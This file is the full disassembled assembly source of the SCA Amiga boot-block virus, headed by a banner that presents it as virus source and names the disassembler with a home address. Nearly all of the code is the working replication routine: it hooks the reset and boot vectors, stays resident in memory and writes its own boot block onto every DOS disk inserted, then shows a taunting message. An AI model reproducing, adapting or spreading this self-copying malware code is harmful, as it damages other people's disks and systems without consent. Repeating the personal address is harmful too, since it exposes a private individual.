;********************************************************************
;*    YES YOU SE RIGHT THIS IS THE SOURCE CODE OF THE SCA VIRUSET   *
;* THE SOURCE WAS DISASSEMBLED BY SAURON OF THE MIGHTY ACIDE HOUSE  *
;*     IF YOU WANT TO CONTACT ME THEN YOU FIND MY ADDRESS BELOW     *
;*==================================================================*
;*     JOHAN LINDAHL *  LINBLOMMEV.6 * 510 21 SATILA * SWEDEN       *
;*==================================================================*
;*             A LITTLE EXPLAINTION HOW THE VIRUS WORK              *
;* 	1	THE VIRUS LIES AT $7EC00                            *
;*	2	THE RESET ROUTINE BE INSTALLED                      *
;*	3	CONTINUED BOOT                                      *
;*                       RESET ROUTINE                              *
;*	1	CHECK L MOUSE BUTTON TRUE = REMOVE VIRUS AND EXIT   *
;*	2	ELSE INSTALL RESET ROUTINE AGAIN                    *
;*	3	INSTALL A BOOT ROUTINE (START IN THE BOOT)          *
;*	4	EXIT                                                *
;*                        BOOT ROUTINE                              *
;*	1	CHECK IF BOOT IS GREATER THEN 1024 bytes then Exit  *
;*	2	CMP IF A DOS DISK, IF NOT EXIT                      *
;*	3	CMP IF A SCA VIRUS BOOT, THEN EXIT                  *
;*	4	CMP IF TIME TO START VIRUS ROUTINE                  *
;*	5	IF NOT COPY VIRUSBOOT TO THIS DISK AND EXIT         *
;*	5	ELSE START VIRUS AND EXIT                           *
;********************************************************************


Start:		dc	'DOS',0		;DOS or KICK
		dc.l	0		;CheckSum
		dc.l	880		;DosPointer
		LEA.L	Start(PC),A0
		LEA.L	$0007EC00,A1
		MOVE.W	#256,D0
Copyl:		MOVE.L	(A0)+,(A1)+
		DBF	D0,Copyl;(PC)
		JSR	$0007EC88	;Reset
		LEA.L	DosBase(pc),A1;DosBase
		MOVE.L	$00000004,A6
		JSR	-96(A6)
		MOVE.L	D0,A0
		MOVE.L	22(A0),A0
		MOVEQ	#0,D0
		RTS       

Resetroutine:	MOVE.L	$00000004,A6
		BTST	#6,$00BFE001
		BNE.S	ContinueVirus
		CLR.L	46(A6)		;Emty reset
		BSR	Remreset
		LEA.L	$00DFF000,A5
		MOVE.W	#$0060,$180(A5)	;Green
		MOVEQ	#50,D0
		BSR	WaitTOF
		BRA.S	Exit

ContinueVirus:	BSR	Reset
		LEA.L	$0007ECA4,A0
		CMPA.L	-454(A6),A0	;cmp Bootvector,Bootroutine
		BEQ.S	Exit		;If equ then rts
		MOVE.L	-454(A6),$0007EFDE ;else save old vector
		MOVE.L	A0,-454(A6)	;put in the new one
Exit:		RTS

Reset:		MOVE.L	#$0007EC3E,46(A6);resetroutine

RemReset:	LEA.L	34(A6),A0
		CLR.W	D0
		MOVEQ	#23,D1
Rchsuml:	ADD.W	(A0)+,D0
		DBF	D1,Rchsuml
		NOT.W	D0
		MOVE.W	D0,(A0)
		RTS

BootRoutine:	CMPI.L	#$00000400,36(A1)
		BNE.S	DOBR		;Disk is auto boot
		CMPA.L	40(A1),A4	;Read address=Virus address
		BEQ.S	AVirus		;Activate Virus
DOBR:		JMP	$0007EFDC	;do the old boot routine

AVirus:		CLR.L	(A4)
		JSR	$0007EFDC	;do the old boot routine first
		CMPI.L	#$444F5300,(A4)	;Cmp if a DOS disk
		BNE.S	Quit		;if not then exit
		MOVE.L	$0007EFDE,-454(A6);old boot r on boot vector
		CLR.L	$0007EFDE	;clr.l pointer to old boot r
		MOVEM.L	D0-D7/A0-A5,-(A7)
		LEA.L	$00DFF000,A5
		LEA.L	$0007EC04,A0	;pointer boot check sum in a0
		MOVE.L	(A0),D0		;old checksum in d0
		CMP.L	4(A4),D0	;cmp if virus boot
		BEQ.S	True		;if true don't write new boot
		MOVE.L	A1,A4		;trackdisk pointer in a4
		BSR	CopyVirus	;jsr write virus boot

True:		MOVEM.L	(A7)+,D0-D7/A0-A5
Quit:		RTS

CopyVirus:	SUBI.W	#1,$0007EEFC
		ADDI.W	#1,$0007EEF8
		MOVE.W	$0007EEF8,D0
		ANDI.W	#$000F,D0
		CMPI.W	#0,D0
		BNE.S	WriteVirus
		BSR	StartVirus

WriteVirus:	MOVE.L	A4,A1
		MOVE.W	#1,28(A1)		;Reset
		MOVE.L	$00000004,A6
		JSR	-456(A6)		;DoIo
		MOVE.L	A4,A1
		MOVE.W	#3,28(A1)		;Write
		MOVE.L	#$00000400,36(A1)	;Length
		MOVE.L	#$0007EC00,40(A1)	;Buffer
		MOVE.L	#$00000000,44(A1)	;Sector
		MOVE.L	$00000004,A6
		JSR	-456(A6)		;DoIo
		MOVE.L	A4,A1
		MOVE.W	#4,28(A1)		;Update
		MOVE.L	$00000004,A6
		JSR	-456(A6)		;DoIo
		RTS

StartVirus:	MOVE.L	A4,A1
		CLR.L	36(A1)
		MOVE.W	#9,28(A1)	;Turn of drive motor
		MOVE.L	$00000004,A6
		JSR	-456(A6)	;DoIo
		LEA.L	$0007EB00,A3	;$7eb00 = Raster Port
		LEA.L	GfxBase,A1	;LibName
		CLR.L	D0		;Version
		MOVE.L	$00000004,A6	;ExecBase
		JSR	-552(A6)	;OpenLibrary
		MOVE.L	D0,$0007C8FC	;Save GfxBase
		MOVE.L	A3,A1		;RasterPort in a1
		MOVE.L	$0007C8FC,A6	;Restore GfxBase in a6
		JSR	-198(A6)	;InitRasterPort
		LEA.L	$0007EA00,A0	;$7ea00=BitMap
		MOVE.L	A0,4(A3)	;set Bitmap pointer in RPort
		MOVEQ	#1,D0		;Deep (colors)
		MOVE.W	#320,D1	;Width
		MOVE.W	#200,D2	;Height
		MOVE.L	$0007C8FC,A6	;Restore GfxBase in a6
		JSR	-390(A6)	;InitBitMap
		MOVE.L	#$0007EEC4,128(A5);StartCopperList
		MOVE.W	#$0800,$182(A5);Color 2 = Red
		MOVEQ	#100,D0
		BSR	WaitTOF		;Wait
		LEA.L	$0007EF1B,A2

PrintNext:	LEA.L	$0007C900,A0	;Bitmap
		MOVE.L	A0,$0007EA08 ;Set bmap pointer in BmapStruct
		MOVE.W	#2000,D0	;Bitmap size 2000*4=8000
ClrBMap:	CLR.L	(A0)+		;clear bitmap
		DBF	D0,ClrBMap	;To it is clean
		MOVE.W	#$2e75,$0e8(A5);Display window start
		MOVE.W	#$f6d5,$090(A5);Display window stop
		MOVE.W	#$0038,$092(A5);Data fetch start
		MOVE.W	#$00d0,$094(A5);Data fetch stop
		CLR.L	$0108(A5)	;Modulo (odd planes)
		MOVE.W	#$1200,$100(A5);bplcon0
		CLR.L	$102(A5)	;bplcon1
		MOVE.W	#$8380,$096(A5);DMAcon
		MOVE.L	A3,A1		;RPort in a1
		CLR.L	D0		;Emty X cord
		MOVE.B	(A2)+,D0	;X cord
		MOVEQ	#81,D1		;Y cord
		MOVE.L	$0007C8FC,A6	;Restore GfxBase in a6
		JSR	-240(A6)	;Move
		MOVE.L	A3,A1		;RPort in a1
		CLR.L	D0		;Emty counter
		MOVE.B	(A2)+,D0	;How many ch to print ?
		CMPI.B	#0,D0		;if 0 chars to print
		BEQ.S	Finished	;Virus finished
		MOVE.L	A2,A0		;Save text pointer
		LEA.L	0(A2,D0.W),A2;a2=Point at next text to print
		MOVE.L	$0007C8FC,A6	;Restore GfxBase in a6
		JSR	-60(A6)		;print Text
		MOVEQ	#7,D2		;Times to ton up
		MOVE.W	#$0800,D1	;dark red

Toning1:	MOVEQ	#2,D0		;Time to wait
		BSR	WaitTOF		;Wait
		MOVE.W	D1,$0182(A5)
		ADDI.W	#$0122,D1
		DBF	D2,Toning1
		CLR.L	D0
		MOVE.B	(A2)+,D0
		BSR	WaitTOF
		MOVEQ	#7,D2

Toning2:	MOVEQ	#2,D0
		BSR	WaitTOF
		SUBI.W	#$0122,D1
		MOVE.W	D1,$182(A5)
		DBF	d2,Toning2
		CLR.L	D0
		MOVE.B	(A2)+,D0
		BSR	WaitTOF
		BRA	PrintNext

Finished:	MOVE.L	$0007C8FC,A0	;Restore GfxBase in a6
		MOVE.L	38(A0),$080(A5)	;Turn on old copperList
		MOVE.W	#$0100,$096(A5)	;Turn off bitplanes
		RTS

WaitTOF:	ADD.W     D0,D0
Wloop:		CMPI.B    #0,6(A5)	;$dff006
		BNE.S     Wloop
Past:		CMPI.B    #0,6(A5)
		BEQ.S     Past
		DBF       D0,Wloop
		RTS       


CopperList:	dc.w	$00E0,$0007
		dc.w	$00E2,$C900
		dc.w	$7005,$FFFE
		dc.w	$0180,$0E62
		dc.w	$7405,$FFFE
		dc.w	$0180,$0410
		dc.w	$7505,$FFFE
		dc.w	$0180,$0800
		dc.w	$8605,$FFFE
		dc.w	$0180,$0D51
		dc.w	$8A05,$FFFE
		dc.w	$0180,$0000
		dc.w	$ffff,$fffe

ShowVirus:	dc.w	$0011
		dc.w	$FFFA
		dc.w	$FFEA

GfxBase:	dc	'graphics.library',0
DosBase:	dc	'dos.library',0

;	WHAT THE NUMBERS IN TextNdata stands for
;		1byte=Time to show message
;		2byte=Time to wait before to print next message
;		3byte=The X-cordinate to print on
;		4byte=How many chars to print

Text1data:	dc	$00,$20
Text1:		dc	'Something wonderful has happened'
Text2data:	dc	$d2,$aa,$2d,$17
Text2:		dc	'Your AMIGA is alive !!!'
Text3data:	dc	$be,$a0,$41,$13
Text3:		dc	'and, even better...'
Text4data:	dc	$50,$50,$04,$1f
Text4:		dc	'Some of your disks are infected'
Text5data:	dc	$6e,$32,$5a,$0e
Text5:		dc	'by a VIRUS !!!'
Text6data:	dc	$8c,$78,$32,$16
Text6:		dc	'Another masterpiece of'
Text7data:	dc	$82,$32,$32,$16
Text7:		dc	'The mega-mighty SCA !!'

		dc.w	$DC6E,$0000

OldBootVector:	JMP       $00000000
Slut:
